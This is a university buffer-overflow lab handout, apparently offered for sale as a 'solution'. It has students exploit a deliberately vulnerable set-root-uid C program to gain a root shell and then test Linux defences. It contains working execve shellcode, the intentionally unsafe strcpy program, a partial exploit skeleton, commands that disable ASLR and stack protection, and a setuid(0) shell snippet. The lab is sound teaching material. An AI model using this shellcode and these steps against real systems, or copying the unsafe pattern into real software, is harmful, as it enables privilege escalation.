Buffer Overflow Vulnerability Attack and Defense Lab Solution

$35.00

Description

1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on bufferoverflow vulner– ability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, students will be given a program with a bufferoverflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in Linux to counter against the bufferoverflow attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Lab Tasks

2.1 Initial setup

In this lab, you need to use VMware player and a Linux virtual machine image (e.g., Ubuntu Linux) as you used in the previous homework.

You can execute the lab tasks using the Ubuntu system we have provided (although the lab should work for many Linux distributions, we recommend you to use Ubuntu as we have tested the lab on it). Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of bufferoverflow attacks. In this lab, you can disable these features using the following commands:

$ su root

Password: (enter root password)

#sysctl -w kernel.randomize_va_space=0

Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool” a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines already contains a zsh installation.

The following instructions describe how to link the zsh program to /bin/sh.

# cd /bin

# rm sh

# ln -s /bin/zsh /bin/sh

Furthermore, the GCC compiler implements a security mechanism called ”Stack Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this pro- tection when you are comiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

gcc -fno-stack-protector example.c

Possible X-Server Errors Some task in this lab needs to change /bin/sh, making it pointing to /bin/zsh (originally, it points to /bin/bash). If you forget to change it back to bash, you may encounter an X server error during the system bootup. When this error happens, your X server cannot start, and you can only log into system in the text mode. To recover from this problem, follow these steps:

1. Login as root in the command prompt. When the X server error happens, the system will let you log into the root (you need to know the root password) in the text mode.

2. Execute the following commands (# is the prompt for root user, do not enter the #).

# mount -o remount /

# cd /bin

# rm sh

# ln -s bash sh

Our goal is to change /bin/sh and let it point back to /bin/bash. However, if we login as a root at that time, we only have a read-only file system. We need to remount the whole file system to be able to write.

3. Reboot the system. The X Server error should go away.

2.2 Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

#include <stdio.h>

int main( ) {

char *name[2];

name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL);

}

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

/* call_shellcode.c */

/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

const char code[] =

“\x31\xc0”

/*

Line

1:

xorl

%eax,%eax

*/

“\x50”

/*

Line

2:

pushl

%eax

*/

“\x68″”//sh”

/*

Line

3:

pushl

$0x68732f2f

*/

“\x68″”/bin”

/*

Line

4:

pushl

$0x6e69622f

*/

“\x89\xe3”

/*

Line

5:

movl

%esp,%ebx

*/

“\x50”

/*

Line

6:

pushl

%eax

*/

“\x53”

/*

Line

7:

pushl

%ebx

*/

“\x89\xe1”

/*

Line

8:

movl

%esp,%ecx

*/

“\x99”

/*

Line

9:

cdql

*/

“\xb0\x0b”

/*

Line

10:

movb

$0x0b,%al

*/

“\xcd\x80”

/*

Line

11:

int

$0x80

*/

;

int main(int argc, char **argv)

{

char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( );

}

A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortu- nately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call execve() is called when we set %al to 11, and execute int $0x80”.

2.3 The Vulnerable Program

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char *str)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy(buffer, str);

return 1;

}

int main(int argc, char **argv)

{

char str[517]; FILE *badfile;

badfile = fopen(“badfile”, “r”); fread(str, sizeof(char), 517, badfile); bof(str);

printf(“Returned Properly\n”);

return 1;

}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:

$ su root

Password (enter root password)

# gcc -o stack -fno-stack-protector stack.c

# chmod 4755 stack

# exit

The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

2.4 Task 1: Exploiting the Vulnerability

We provide you with a partially completed exploit code called exploit.c”. The goal of this code is to construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.

/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

“\x31\xc0”

“\x50”

/* xorl

/* pushl

%eax,%eax

%eax

*/

*/

“\x68″”//sh”

/*

pushl

$0x68732f2f

*/

“\x68″”/bin”

/*

pushl

$0x6e69622f

*/

“\x89\xe3”

/*

movl

%esp,%ebx

*/

“\x50”

/*

pushl

%eax

*/

“\x53”

/*

pushl

%ebx

*/

“\x89\xe1”

/*

movl

%esp,%ecx

*/

“\x99”

/*

cdql

*/

“\xb0\x0b”

/*

movb

$0x0b,%al

*/

“\xcd\x80”

/*

int

$0x80

*/

;

void main(int argc, char **argv)

{

char buffer[517]; FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

/* Save the contents to the file “badfile” */ badfile = fopen(“./badfile”, “w”); fwrite(buffer, 517, 1, badfile); fclose(badfile);

}

After you finish the above program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the default Stack Guard protection disabled.

$ gcc -o exploit exploit.c

$./exploit // create the badfile

$./stack // launch the attack by running the vulnerable program

# <—- Bingo! You’ve got a root shell!

It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

# id

uid=(500) euid=0(root)

Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

void main()

{

setuid(0); system(“/bin/sh”);

}

2.5 Task 2: Protection in /bin/bash

Now, we let /bin/sh point back to /bin/bash, and run the same attack developed in the previous task. Can you get a shell? Is the shell the root shell? What has happened? You should describe your observation and explaination in your lab report.

$ su root

Password: (enter root password)

# cd /bin

# rm sh

# ln -s bash sh // link /bin/sh to /bin/bash

# exit

$./stack // launch the attack by running the vulnerable program

There are ways to get around this protection scheme. You need to modify the shellcode to achieve this. We will give 10 bonus points for this attack. Hint: although /bin/bash has restriction on running Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the current Set-UID process into a real root process, before invoking /bin/bash, you can bypass the restriction of bash. The setuid() system call can help you achieve that.

2.6 Task 3: Address Randomization

Now, we turn on the Ubuntus address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

$ su root

Password: (enter root password)

# /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for many times? You can run ./stack in the following loop , and see what will happen. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success (i.e., reduce the time that you have to wait).

$ sh -c “while [ 1 ]; do ./stack; done;”

2.7 Task 4: Stack Guard

So far, we disabled the “Stack Guard” protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the program without the -fno-stack-protector’ option. For this task, you will recompile the vulnerable program, stack.c, to use GCCs Stack Guard, execute task 1 again, and report your observations. You may report any error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable Stack Guard.

3 Guidelines

We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters a function.

Finding the address of the memory that stores the return address. From the figure, we know, if we can find out the address of buffer[] array, we can calculate where the return address is stored. Since the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your own privilege; this way you can debug the program (note that you cannot debug a Set-UID program). In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the malicious code. You can even modify the copied program, and ask the program to directly print out the address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID copy, instead of of your copy, but you should be quite close.

If the target program is running remotely, and you may not be able to rely on the debugger to find out the address. However, you can always guess. The following facts make guessing a quite feasible approach:

Stack usually starts at the same address.

Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time.

Therefore the range of addresses that we need to guess is actually quite small.

Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[], you should be able to accurately calcuate the starting point of the malicious code. Even if you cannot accu- rately calculate the address (for example, for remote programs), you can still guess. To improve the chance

of success, we can add a number of NOPs to the beginning of the malcious code; therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.

Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4 bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer, and then assign the integer. The following code shows how to assign an long integer to a buffer starting at buffer[i]:

char buffer[20];

long addr = 0xFFEEDD88;

long *ptr = (long *) (buffer + i);

*ptr = addr;

References

[1] Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49. Available at

http://courses.cse.tamu.edu/guofei/csce465/stack_smashing.pdf

[2] Smashing the Stack for Fun & Profit : Revived. Available at https://avicoder.me/2016/02/

01/smashsatckrevived/